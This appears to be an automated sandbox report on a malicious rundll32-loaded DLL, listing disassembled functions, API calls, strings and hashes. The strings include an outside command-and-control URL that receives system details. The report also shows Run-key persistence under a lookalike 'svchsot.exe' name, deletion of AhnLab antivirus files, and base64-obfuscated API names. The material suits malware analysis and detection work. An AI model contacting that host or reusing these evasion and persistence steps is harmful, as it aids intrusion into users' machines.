Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseDefaultGlobalLanguageMemoryOpenQueryStatusSystemValue
String ID: %u MB$09121307$@$Find CPU Error$HARDWARE\DESCRIPTION\System\CentralProcessor\0$ProcessorNameString$http://107.163.241.232:12354/show.php
API String ID: 2543995030-394306148
Opcode ID: 4e22ea78a27a306f584328a55715875c7210a62967ded5604e4a38dd3874c05e
Instruction ID: 3ad2bcc863b837c91c8faade8dea923d340ec5ffd05ed7ea934ab2fdf9765298
Opcode Fuzzy Hash: 4e22ea78a27a306f584328a55715875c7210a62967ded5604e4a38dd3874c05e
Instruction Fuzzy Hash: 8041F5766002045BE714CA28DC81BAB77D6FBC8350F544A2CFA59CB2C5EE78E908C796

Function 1000B8E0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 65
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 1000B95F
DeleteFileA.KERNEL32(?), ref: 1000B96F
wsprintfA.USER32 ref: 1000B990
DeleteFileA.KERNEL32(?), ref: 1000B99A
DeleteFileA.KERNEL32(C:\1.vbs), ref: 1000B9A1

Strings

C:\1.vbs, xrefs: 1000B99C
InstallPath, xrefs: 1000B92A
U09GVFdBUkVcQWhuTGFiXFYzTGl0ZQ==, xrefs: 1000B92F
%s\V3Lite.exe, xrefs: 1000B98A
%s\ASDSvc.exe, xrefs: 1000B959

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DeleteFile$wsprintf
String ID: %s\ASDSvc.exe$%s\V3Lite.exe$C:\1.vbs$InstallPath$U09GVFdBUkVcQWhuTGFiXFYzTGl0ZQ==
API String ID: 1588361905-790033058
Opcode ID: 78508965cc5a19c928f5a57ae299255aa932a64f56e005951962bd9cc420be60
Instruction ID: 1dfada7e8b5ca1f324769cc69037653655a4e6411eba5475badaeff67279124f
Opcode Fuzzy Hash: 78508965cc5a19c928f5a57ae299255aa932a64f56e005951962bd9cc420be60
Instruction Fuzzy Hash: E2110AB65043447EE714D264DC82EEBB7A9EBC8350F00892DF74897141EAB8A54C87A3

Function 10008CF0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61
sleepsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 10008D13

Part of subcall function 100048E0: CreateMutexA.KERNEL32(?,?,?,10008DF5), ref: 100048EF

GetLastError.KERNEL32 ref: 10008D2C
CloseHandle.KERNEL32(00000000), ref: 10008D9E

Part of subcall function 10007800: wsprintfA.USER32 ref: 10007863

Sleep.KERNEL32(0002BF20,00000000,00000000), ref: 10008D60
CreateThread.KERNEL32 ref: 10008D7C
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10008D87
CloseHandle.KERNEL32(00000000), ref: 10008D8E
Sleep.KERNEL32(0002BF20), ref: 10008D99

Strings

0x5d65r455f, xrefs: 10008D19
5655029807, xrefs: 10008D4A

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreateHandleSleep$ErrorLastMutexObjectSingleStartupThreadWaitwsprintf
String ID: 0x5d65r455f$5655029807
API String ID: 3565103679-1179119988
Opcode ID: 1a3b27e525e8e5581aee81941031d63d0a25c614fe17f581aa30fa82347c58f1
Instruction ID: 7f0c169c507e5996f06a3fa8500c359fcd6d382ddda4958c890d8906a17dfaa3
Opcode Fuzzy Hash: 1a3b27e525e8e5581aee81941031d63d0a25c614fe17f581aa30fa82347c58f1
Instruction Fuzzy Hash: 90112BB664021477F361D7609C4AFAA3748E755391F014231FB05991C6DA749514C3A7

Function 1000C3E0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Netbios.NETAPI32 ref: 1000C41F
Netbios.NETAPI32(?), ref: 1000C45B

Strings

2, xrefs: 1000C452
%02X%02X%02X%02X%02X%02X, xrefs: 1000C558
3, xrefs: 1000C4BE

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Netbios
String ID: %02X%02X%02X%02X%02X%02X$2$3
API String ID: 544444789-1505804699
Opcode ID: ed2c05e4c58613b2c26dfba51cf9c36810fcacaa73115f46d11269ef5a7d970f
Instruction ID: 728b9448df0537b33cd7c33a8ad28386f52a8ed2ab8d8cf9ed196ef958deebfa
Opcode Fuzzy Hash: ed2c05e4c58613b2c26dfba51cf9c36810fcacaa73115f46d11269ef5a7d970f
Instruction Fuzzy Hash: E141BC361187829BD724CB68C8107FBB7E5EFC4354F44483DA5D48B682DAB8A6098793

Function 1000B9B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108
registrysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,00000000), ref: 1000BA17
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,?,?,?,00000000,00000000), ref: 1000BA4D
RegCloseKey.ADVAPI32(00000000), ref: 1000BAFD
Sleep.KERNEL32(000493E0), ref: 1000BB08

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 1000BA0D
svchsot.exe, xrefs: 1000BAC8

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseInfoOpenQuerySleep
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$svchsot.exe
API String ID: 2225969182-2172464104
Opcode ID: 08361449016b7f44612439fb6acee60cc4640fc407a9dfebd49ab1ea5b08d991
Instruction ID: 8391b5504ccf8cab49b59508a831428093b3ef4b36d771d3e57068c3abc199ad
Opcode Fuzzy Hash: 08361449016b7f44612439fb6acee60cc4640fc407a9dfebd49ab1ea5b08d991
Instruction Fuzzy Hash: 00313D71209342AFE311CF55CC84FABB7E9FBC9B44F40492DF28596184DA74EA05CBA2

Function 10008DC0 Relevance: 10.5, APIs: 7, Instructions: 46sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202), ref: 10008DD4

Part of subcall function 100048E0: CreateMutexA.KERNEL32(?,?,?,10008DF5), ref: 100048EF

GetLastError.KERNEL32 ref: 10008DFA
CreateThread.KERNEL32(00000000,00000000,Function_00008A70,?,00000000,00000000), ref: 10008E20
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10008E27
CloseHandle.KERNEL32(00000000), ref: 10008E2A
Sleep.KERNEL32(00002710), ref: 10008E35
CloseHandle.KERNEL32(00000000), ref: 10008E3E

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreateHandle$ErrorLastMutexObjectSingleSleepStartupThreadWait
String ID:
API String ID: 3243752880-0
Opcode ID: a33727e10fbf79d2b309350ef58ca67d960a310af08ab45507f6163eac35f4c8
Instruction ID: a359fb298355683a4573c8a866c24d0698d26be9667dacd13f7a321984fbe110
Opcode Fuzzy Hash: a33727e10fbf79d2b309350ef58ca67d960a310af08ab45507f6163eac35f4c8
Instruction Fuzzy Hash: C9012875244260BBF2219760DC4EF9E3B68FB8A7A0F114224FB18961C2C7B4691083BB

Function 100094E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 117sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000927C0), ref: 1000959A
wsprintfA.USER32 ref: 1000961F
Sleep.KERNEL32(000927C0), ref: 10009633

Strings

http://107.163.241.232:12354/show.php, xrefs: 10009553

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Sleep$wsprintf
String ID: http://107.163.241.232:12354/show.php
API String ID: 3195947292-2344152501
Opcode ID: 8f976409f3338855f43dfdd1e78e4cb3942958b9788ba1596308c0077738c756
Instruction ID: d4c08372696571601e49f361774c7e6739f4c64afbccb80dc67fb9e03b5bb553
Opcode Fuzzy Hash: 8f976409f3338855f43dfdd1e78e4cb3942958b9788ba1596308c0077738c756
Instruction Fuzzy Hash: 26315E71504A856BF365CA34CC92ADB3BC7EB853D0F11492CF6858B189EA37D9498352

Function 10001000 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,00000001), ref: 10001155
6CE12C70.MFC42(00000001,?,75920F00), ref: 1000115C

Strings

VUUU, xrefs: 10001056

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: lstrcpy
String ID: VUUU
API String ID: 3722407311-2040033107
Opcode ID: d333b3c2b3d2ade3472a0c98afb8ba078a3a655890211f516e2ff079b765f810
Instruction ID: c786a2ff591aff92977bd3f5140d7e1907602f98ed4a153bb8b8b05817a39e60
Opcode Fuzzy Hash: d333b3c2b3d2ade3472a0c98afb8ba078a3a655890211f516e2ff079b765f810
Instruction Fuzzy Hash: AF416B31B0049207F32DC62C8CB227ABBD2DB922C0B54813EE6C7C7256D9A2DD66C350

Function 10011171 Relevance: 3.8, APIs: 3, Instructions: 54COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 1001119F
_initterm.MSVCRT ref: 100111CA
free.MSVCRT ref: 10011207

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: _inittermfreemalloc
String ID:
API String ID: 1678931842-0
Opcode ID: 5140d0d9db605dcb194d2652ea19dca16f20f6a940eaa12075955abeed17ba9d
Instruction ID: ad2f920e9778d69807a12391a49186a6d5e25611a08f9dc3c907af6526498538
Opcode Fuzzy Hash: 5140d0d9db605dcb194d2652ea19dca16f20f6a940eaa12075955abeed17ba9d
Instruction Fuzzy Hash: A4112E32648226ABE718CB64EDD5F8977A5FB05295F158019E901CB2A0E732E890CB95

Function 10002580 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(6E3F0000,00000000), ref: 100025A4

Strings

TmV0TG9jYWxHcm91cEVudW0=, xrefs: 10002590

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID: TmV0TG9jYWxHcm91cEVudW0=
API String ID: 190572456-980335172
Opcode ID: ded17689c4bd67110a5be128d15644960cbee1cf4a5f393b86463d8bf9b49e85
Instruction ID: e2bb3045dcad879353c92d9ca582775d4a1260cfb397e564f33c378eb59ea92b
Opcode Fuzzy Hash: ded17689c4bd67110a5be128d15644960cbee1cf4a5f393b86463d8bf9b49e85
Instruction Fuzzy Hash: 9CC04CF58007109BF642DBA49D85B4A3799E74C28AB018424F51DD222AE734E2959B15

Function 10002640 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(6E3F0000,00000000), ref: 10002664

Strings

TmV0QXBpQnVmZmVyRnJlZQ==, xrefs: 10002650

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID: TmV0QXBpQnVmZmVyRnJlZQ==
API String ID: 190572456-3244026974
Opcode ID: 5da32a4a5574a052550975bb5b0bbc93ab09694d4bcd5f2703c64bdbfbfc511d
Instruction ID: 0ade1f184abd6a37764815a29ceca78810d2d009be9ca9e5ee1f1b4efe6a2c35
Opcode Fuzzy Hash: 5da32a4a5574a052550975bb5b0bbc93ab09694d4bcd5f2703c64bdbfbfc511d
Instruction Fuzzy Hash: AFC08CF88006205BF642CB608C84B0A3398E30C38AB008010F659D222AD730E1A08B11

Function 1000B5E0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 1000B0A0: lstrcpy.KERNEL32(?,?), ref: 1000B0D9
Part of subcall function 1000B0A0: lstrcat.KERNEL32(?,10019BD4), ref: 1000B0F2
Part of subcall function 1000B0A0: lstrcat.KERNEL32(?,*.*), ref: 1000B101
Part of subcall function 1000B0A0: FindFirstFileA.KERNEL32(?,?,?,1000B62C,?), ref: 1000B113

Sleep.KERNEL32(0036EE80), ref: 1000B686

Strings

C:\Program Files, xrefs: 1000B5E9

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: lstrcat$FileFindFirstSleeplstrcpy
String ID: C:\Program Files
API String ID: 187370985-1387799010
Opcode ID: 104c4d2efdd1e2322e4b23a01710967e339c577f5a1987c4c7f9844ac907495e
Instruction ID: 61b073742c814ce492014a967659e3b424d997019ce0857d6221e672e47afb5b
Opcode Fuzzy Hash: 104c4d2efdd1e2322e4b23a01710967e339c577f5a1987c4c7f9844ac907495e
Instruction Fuzzy Hash: 3E113CB88057559BF300DF69ECD15477BE0FB84684F008929E85587316E735D649CBA3

Function 044605A9 Relevance: 2.6, APIs: 2, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04460625
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04460658

Memory Dump Source

Source File: 00000006.00000003.2053382630.0000000004460000.00000040.00001000.00020000.00000000.sdmp, Offset: 04460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_4460000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
Instruction ID: a9a0ea8c0f2ccc6e994d8030e12b9e3ece5aa0c6ff0be44f24b8c48db1ef43fa
Opcode Fuzzy Hash: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
Instruction Fuzzy Hash: D6213531A40219BFDF00CFA0CC44BEEFBF6EB55394F208127E911A2280E7709A119B51

Function 10004C20 Relevance: 1.5, APIs: 1, Instructions: 20registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNEL32(?,?,?,?,?,?,?,?,?,1000906E,80000001,00000000,?), ref: 10004C4D

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 150bd87b14d3b07de01cf752c73747d879c117e8bc87c6aeaf82a9217c82b333
Instruction ID: 4b958377b8f6819c9cb17a5be3b00e8c41f947a8e294ec63b8cfc4c184e4756b
Opcode Fuzzy Hash: 150bd87b14d3b07de01cf752c73747d879c117e8bc87c6aeaf82a9217c82b333
Instruction Fuzzy Hash: 24E00AB5218601AF9604CF49D894C1BB3F9BBCD700F10CA0CB599C3254D630E806CB62

Function 10004B40 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000003,00000003,00000003,00000003,00000003,40000000,?,1000BBE4,c:\xrzyhhhnk\ReadMe.txt,40000000,00000003,00000000,00000004,00000080,00000000), ref: 10004B63

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9c96cc994586578f316554800c59ad217e0e27d90daea8609a1871e27ba07cfa
Instruction ID: b1acddf2ec3e37a5d5dcdfaa1de533b66f54714f002444a5cde71aefe8c48c35
Opcode Fuzzy Hash: 9c96cc994586578f316554800c59ad217e0e27d90daea8609a1871e27ba07cfa
Instruction Fuzzy Hash: 85D0A2B6618212AF9644CF98EA94D1BB7E9ABCCB00F10890CB585D3254D670EC49CB73

Function 10004C70 Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,75920F10,?,1000AAC6,?,75920F10,00000000,000000FF,?,00000104,?,?,?), ref: 10004C8E

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 0fccdda7f6bc64189a44bad6c102572695505bb3016eb6268000810ac36e3e21
Instruction ID: ebaf1be8d889f364eaf5267f0a81e264a20874aa47e59fc56bef3f2ec861e65a
Opcode Fuzzy Hash: 0fccdda7f6bc64189a44bad6c102572695505bb3016eb6268000810ac36e3e21
Instruction Fuzzy Hash: 13D0BCB5618742AF9744CF58D994C3BB7E9BBC8611F148D0CB59583254D730E849CB62

Function 10004CC0 Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNEL32(?,?,?,?,?,?,100090C2,?,EvtMgr,00000000,00000001,?), ref: 10004CDE

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: acb95854f7ebfe107d9ad6fa5725a02533b256ecd7490f7e051e36ee0d353bb8
Instruction ID: f56af968e5fe79637af5710c571a5d5bb89e367fb5f00816f0ff50808f0d9261
Opcode Fuzzy Hash: acb95854f7ebfe107d9ad6fa5725a02533b256ecd7490f7e051e36ee0d353bb8
Instruction Fuzzy Hash: 96D06CF5208342AF9704CF48D984C3BB3E9BBC8600F048D0CB59683210C734E808CB62

Function 10004960 Relevance: 1.5, APIs: 1, Instructions: 14networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,?,00000000), ref: 1000497E

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: d5fa67fd77fc08087aa00dd8c2a10ade798770437726e994f987ef2aecb902aa
Instruction ID: 24a332b1a684adcd34ca85a3606a9ea4ce0bf4268c39e93a7a2cc773aab27df0
Opcode Fuzzy Hash: d5fa67fd77fc08087aa00dd8c2a10ade798770437726e994f987ef2aecb902aa
Instruction Fuzzy Hash: E5D0BCB5618342AF9704CF98D994D3BB7E9BBC8610F148D0CB59983254D730E849CB62

Function 10004CA0 Relevance: 1.5, APIs: 1, Instructions: 12registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,?,?,00020019,1000AA61,80000002,1000B947,00000000,00020019,?,?,?,75920F00), ref: 10004CB9

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Open
String ID:
